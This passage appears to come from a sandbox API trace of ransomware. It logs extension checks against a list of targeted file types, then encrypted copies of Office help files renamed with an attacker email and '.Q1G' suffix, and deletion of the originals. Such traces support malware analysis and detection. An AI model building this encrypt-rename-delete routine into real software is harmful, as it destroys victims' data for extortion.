lpString2=".HXT") returned 1 [0256.652] lstrlenW (lpString=".bz2") returned 4 [0256.652] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0256.652] lstrlenW (lpString=".7z") returned 3 [0256.652] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0256.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0256.652] lstrlenW (lpString=".dbf") returned 4 [0256.652] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0256.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0256.652] lstrlenW (lpString=".1cd") returned 4 [0256.652] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0256.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0256.652] lstrlenW (lpString=".jpg") returned 4 [0256.652] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0256.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0256.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0256.652] lstrlenW (lpString=".doc") returned 4 [0256.652] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0256.652] lstrlenW (lpString=".docx") returned 5 [0256.652] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0256.652] lstrlenW (lpString=".pdf") returned 4 [0256.652] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0256.652] lstrlenW (lpString=".xls") returned 4 [0256.652] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0256.652] lstrlenW (lpString=".xlsx") returned 5 [0256.652] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0256.653] lstrlenW (lpString=".ppt") returned 4 [0256.653] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0256.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0256.653] lstrlenW (lpString=".zip") returned 4 [0256.653] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0256.653] lstrlenW (lpString=".rar") returned 4 [0256.653] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0256.653] lstrlenW (lpString=".bz2") returned 4 [0256.653] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0256.653] lstrlenW (lpString=".7z") returned 3 [0256.653] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0256.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0256.653] lstrlenW (lpString=".dbf") returned 4 [0256.653] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0256.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0256.653] lstrlenW (lpString=".1cd") returned 4 [0256.653] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0256.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0256.653] lstrlenW (lpString=".jpg") returned 4 [0256.653] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0256.653] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0256.653] lstrlenW (lpString="WINPROJ_F_COL.HXK") returned 17 [0256.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.858] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=114) returned 1 [0256.858] CloseHandle (hObject=0x360) returned 1 [0256.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk")) returned 0x20 [0256.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.858] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.858] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0256.859] GetLastError () returned 0x0 [0256.859] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x72, lpOverlapped=0x0) returned 1 [0256.860] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x80, lpOverlapped=0x0) returned 1 [0256.861] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.861] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0256.861] SetEndOfFile (hFile=0x3c0) returned 1 [0256.861] CloseHandle (hObject=0x3c0) returned 1 [0256.861] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.861] SetEndOfFile (hFile=0x360) returned 1 [0256.864] CloseHandle (hObject=0x360) returned 1 [0256.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk")) returned 1 [0256.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0256.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0256.865] lstrlenW (lpString=".doc") returned 4 [0256.865] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0256.865] lstrlenW (lpString=".docx") returned 5 [0256.865] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0256.865] lstrlenW (lpString=".pdf") returned 4 [0256.865] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0256.865] lstrlenW (lpString=".xls") returned 4 [0256.865] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0256.865] lstrlenW (lpString=".xlsx") returned 5 [0256.865] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0256.865] lstrlenW (lpString=".ppt") returned 4 [0256.865] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0256.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0256.865] lstrlenW (lpString=".zip") returned 4 [0256.865] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0256.865] lstrlenW (lpString=".rar") returned 4 [0256.865] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0256.865] lstrlenW (lpString=".bz2") returned 4 [0256.865] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0256.865] lstrlenW (lpString=".7z") returned 3 [0256.865] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0256.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0256.865] lstrlenW (lpString=".dbf") returned 4 [0256.865] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0256.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0256.865] lstrlenW (lpString=".1cd") returned 4 [0256.865] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0256.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0256.865] lstrlenW (lpString=".jpg") returned 4 [0256.865] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0256.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0256.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0256.866] lstrlenW (lpString=".doc") returned 4 [0256.866] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0256.866] lstrlenW (lpString=".docx") returned 5 [0256.866] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0256.866] lstrlenW (lpString=".pdf") returned 4 [0256.866] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0256.866] lstrlenW (lpString=".xls") returned 4 [0256.866] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0256.866] lstrlenW (lpString=".xlsx") returned 5 [0256.866] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0256.866] lstrlenW (lpString=".ppt") returned 4 [0256.866] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0256.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0256.866] lstrlenW (lpString=".zip") returned 4 [0256.866] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0256.866] lstrlenW (lpString=".rar") returned 4 [0256.866] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0256.866] lstrlenW (lpString=".bz2") returned 4 [0256.866] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0256.866] lstrlenW (lpString=".7z") returned 3 [0256.866] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0256.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0256.866] lstrlenW (lpString=".dbf") returned 4 [0256.866] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0256.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0256.866] lstrlenW (lpString=".1cd") returned 4 [0256.866] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0256.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0256.866] lstrlenW (lpString=".jpg") returned 4 [0256.866] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0256.866] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0256.867] lstrlenW (lpString="WINWORD.DEV.HXS") returned 15 [0256.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.867] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=7438482) returned 1 [0256.867] CloseHandle (hObject=0x360) returned 1 [0256.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs")) returned 0x20 [0256.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.867] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0256.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0256.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0256.868] lstrlenW (lpString=".doc") returned 4 [0256.868] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0256.868] lstrlenW (lpString=".docx") returned 5 [0256.868] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0256.868] lstrlenW (lpString=".pdf") returned 4 [0256.868] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0256.868] lstrlenW (lpString=".xls") returned 4 [0256.868] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0256.868] lstrlenW (lpString=".xlsx") returned 5 [0256.868] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0256.868] lstrlenW (lpString=".ppt") returned 4 [0256.868] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0256.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0256.868] lstrlenW (lpString=".zip") returned 4 [0256.868] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0256.868] lstrlenW (lpString=".rar") returned 4 [0256.868] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0256.868] lstrlenW (lpString=".bz2") returned 4 [0256.868] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0256.868] lstrlenW (lpString=".7z") returned 3 [0256.868] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0256.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0256.868] lstrlenW (lpString=".dbf") returned 4 [0256.868] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0256.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0256.868] lstrlenW (lpString=".1cd") returned 4 [0256.868] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0256.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0256.868] lstrlenW (lpString=".jpg") returned 4 [0256.868] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0256.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0256.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0256.869] lstrlenW (lpString=".doc") returned 4 [0256.869] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0256.869] lstrlenW (lpString=".docx") returned 5 [0256.869] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0256.869] lstrlenW (lpString=".pdf") returned 4 [0256.869] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0256.869] lstrlenW (lpString=".xls") returned 4 [0256.869] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0256.869] lstrlenW (lpString=".xlsx") returned 5 [0256.869] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0256.869] lstrlenW (lpString=".ppt") returned 4 [0256.869] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0256.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0256.869] lstrlenW (lpString=".zip") returned 4 [0256.869] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0256.869] lstrlenW (lpString=".rar") returned 4 [0256.869] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0256.869] lstrlenW (lpString=".bz2") returned 4 [0256.869] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0256.869] lstrlenW (lpString=".7z") returned 3 [0256.869] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0256.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0256.869] lstrlenW (lpString=".dbf") returned 4 [0256.869] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0256.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0256.869] lstrlenW (lpString=".1cd") returned 4 [0256.869] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0256.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0256.869] lstrlenW (lpString=".jpg") returned 4 [0256.869] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0256.869] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0256.869] lstrlenW (lpString="WINWORD.DEV_COL.HXC") returned 19 [0256.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.870] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=651) returned 1 [0256.870] CloseHandle (hObject=0x360) returned 1 [0256.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc")) returned 0x20 [0256.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0256.870] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.870] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0256.871] GetLastError () returned 0x0 [0256.871] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x28b, lpOverlapped=0x0) returned 1 [0256.873] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x290, lpOverlapped=0x0) returned 1 [0256.873] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.874] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0256.874] SetEndOfFile (hFile=0x3c0) returned 1 [0256.874] CloseHandle (hObject=0x3c0) returned 1 [0256.874] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.874] SetEndOfFile (hFile=0x360) returned 1 [0256.876] CloseHandle (hObject=0x360) returned 1 [0256.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc")) returned 1 [0256.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0256.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0256.877] lstrlenW (lpString=".doc") returned 4 [0256.877] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.877] lstrlenW (lpString=".docx") returned 5 [0256.877] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.877] lstrlenW (lpString=".pdf") returned 4 [0256.877] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.877] lstrlenW (lpString=".xls") returned 4 [0256.877] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.877] lstrlenW (lpString=".xlsx") returned 5 [0256.877] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.877] lstrlenW (lpString=".ppt") returned 4 [0256.877] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0256.877] lstrlenW (lpString=".zip") returned 4 [0256.877] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.877] lstrlenW (lpString=".rar") returned 4 [0256.877] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.877] lstrlenW (lpString=".bz2") returned 4 [0256.877] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.877] lstrlenW (lpString=".7z") returned 3 [0256.877] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0256.877] lstrlenW (lpString=".dbf") returned 4 [0256.877] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0256.877] lstrlenW (lpString=".1cd") returned 4 [0256.877] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0256.878] lstrlenW (lpString=".jpg") returned 4 [0256.878] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0256.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0256.878] lstrlenW (lpString=".doc") returned 4 [0256.878] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.878] lstrlenW (lpString=".docx") returned 5 [0256.878] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.878] lstrlenW (lpString=".pdf") returned 4 [0256.878] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.878] lstrlenW (lpString=".xls") returned 4 [0256.878] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.878] lstrlenW (lpString=".xlsx") returned 5 [0256.878] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.878] lstrlenW (lpString=".ppt") returned 4 [0256.878] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0256.878] lstrlenW (lpString=".zip") returned 4 [0256.878] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.878] lstrlenW (lpString=".rar") returned 4 [0256.878] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.878] lstrlenW (lpString=".bz2") returned 4 [0256.878] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.878] lstrlenW (lpString=".7z") returned 3 [0256.878] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0256.878] lstrlenW (lpString=".dbf") returned 4 [0256.878] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0256.878] lstrlenW (lpString=".1cd") returned 4 [0256.878] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0256.878] lstrlenW (lpString=".jpg") returned 4 [0256.878] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.879] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0256.879] lstrlenW (lpString="WINWORD.DEV_COL.HXT") returned 19 [0256.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 